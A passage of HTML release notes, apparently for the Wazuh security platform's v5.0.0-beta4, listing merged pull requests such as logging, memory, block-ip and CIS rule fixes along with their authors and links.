<li>Resolve logging macro collisions and improve LogFn design (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4790797410" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37354" data-hovercard-type="issue" data-hovercard-url="/wazuh/wazuh/issues/37354/hovercard" href="https://github.com/wazuh/wazuh/issues/37354">#37354</a>) by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4802669894" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37393" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37393/hovercard" href="https://github.com/wazuh/wazuh/pull/37393">#37393</a></li>
<li>Enable authd in manager source-install integration test step by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4890660615" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37693" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37693/hovercard" href="https://github.com/wazuh/wazuh/pull/37693">#37693</a></li>
<li>Stop <code>verify-agent-conf</code> from falsely warning on agent-only wodle blocks, without breaking their validation by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vikman90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vikman90">@vikman90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4884638391" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37680" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37680/hovercard" href="https://github.com/wazuh/wazuh/pull/37680">#37680</a></li>
<li>Fixing CIS 6.1.9 rule impossible permission check for /etc/group- by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hossam1522/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hossam1522">@hossam1522</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4252101380" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/35405" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/35405/hovercard" href="https://github.com/wazuh/wazuh/pull/35405">#35405</a></li>
<li>Lower connection socket error log to debug level in wazuh-agentd by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MAnDumu/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MAnDumu">@MAnDumu</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4885894234" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37685" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37685/hovercard" href="https://github.com/wazuh/wazuh/pull/37685">#37685</a></li>
<li>Memory improvements part 2 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/NahuFigueroa97/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/NahuFigueroa97">@NahuFigueroa97</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4822579091" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37433" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37433/hovercard" href="https://github.com/wazuh/wazuh/pull/37433">#37433</a></li>
<li>Fix make clean-deps failing when src/external is missing by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vikman90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vikman90">@vikman90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4901090899" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37724" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37724/hovercard" href="https://github.com/wazuh/wazuh/pull/37724">#37724</a></li>
<li>fix date schema validation error in scheduled metrics by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/LucioDonda/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/LucioDonda">@LucioDonda</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4892142502" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37703" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37703/hovercard" href="https://github.com/wazuh/wazuh/pull/37703">#37703</a></li>
<li>Report failure when block-ip fails to block an IP by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/lchico/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/lchico">@lchico</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4824776124" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37439" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37439/hovercard" href="https://github.com/wazuh/wazuh/pull/37439">#37439</a></li>
<li>Fix rename race on logcollector file status during shutdown by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Miguevrgo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Miguevrgo">@Miguevrgo</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4891170282" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37695" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37695/hovercard" href="https://github.com/wazuh/wazuh/pull/37695">#37695</a></li>
<li>Calibrate log levels in router and vulnerability_scanner by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4902123164" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37731" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37731/hovercard" href="https://github.com/wazuh/wazuh/pull/37731">#37731</a></li>
<li>Adds AR Windows binary extension fallback by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rjcausarano/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rjcausarano">@rjcausarano</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4828497169" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37496" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37496/hovercard" href="https://github.com/wazuh/wazuh/pull/37496">#37496</a></li>
<li>Lower httpsrv C++ standard from 20 to 17 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4912257627" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37751" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37751/hovercard" href="https://github.com/wazuh/wazuh/pull/37751">#37751</a></li>
<li>Add new indexer API roles mapping by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jepalfer/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jepalfer">@jepalfer</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4910791091" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37746" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37746/hovercard" href="https://github.com/wazuh/wazuh/pull/37746">#37746</a></li>
<li>Fix Windows block-ip firewall-enabled check misfire and ineffective route fallback by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/nbertoldo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/nbertoldo">@nbertoldo</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4821040019" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37430" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37430/hovercard" href="https://github.com/wazuh/wazuh/pull/37430">#37430</a></li>
<li>Free rpm macro context to stop unbounded growth by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Nicogp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Nicogp">@Nicogp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4916015744" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37758" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37758/hovercard" href="https://github.com/wazuh/wazuh/pull/37758">#37758</a></li>
<li>Report modulesSync failure as debug during agent shutdown by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/anromerom/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/anromerom">@anromerom</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4886452693" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37689" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37689/hovercard" href="https://github.com/wazuh/wazuh/pull/37689">#37689</a></li>
<li>Report manager-not-ready sync failures as deferred by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/anromerom/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/anromerom">@anromerom</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4894783919" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37720" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37720/hovercard" href="https://github.com/wazuh/wazuh/pull/37720">#37720</a></li>
<li>wazuh-engine: Indexer connector exponential backoff by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/matigarciadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/matigarciadev">@matigarciadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4914391566" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37756" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37756/hovercard" href="https://github.com/wazuh/wazuh/pull/37756">#37756</a></li>
<li>Fix issue reference in the daemons stats changelog entry by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jotacarma90/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jotacarma90">@jotacarma90</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4938483459" data-permission-text="Title is private" data-url="https://github.com/wazuh/wazuh/issues/37827" data-hovercard-type="pull_request" data-hovercard-url="/wazuh/wazuh/pull/37827/hovercard" href="https://github.com/wazuh/wazuh/pull/37827">#37827</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/wazuh/wazuh/compare/v5.0.0-beta3...v5.0.0-beta4"><tt>v5.0.0-beta3...v5.0.0-beta4</tt></a></p>]]></content:encoded>
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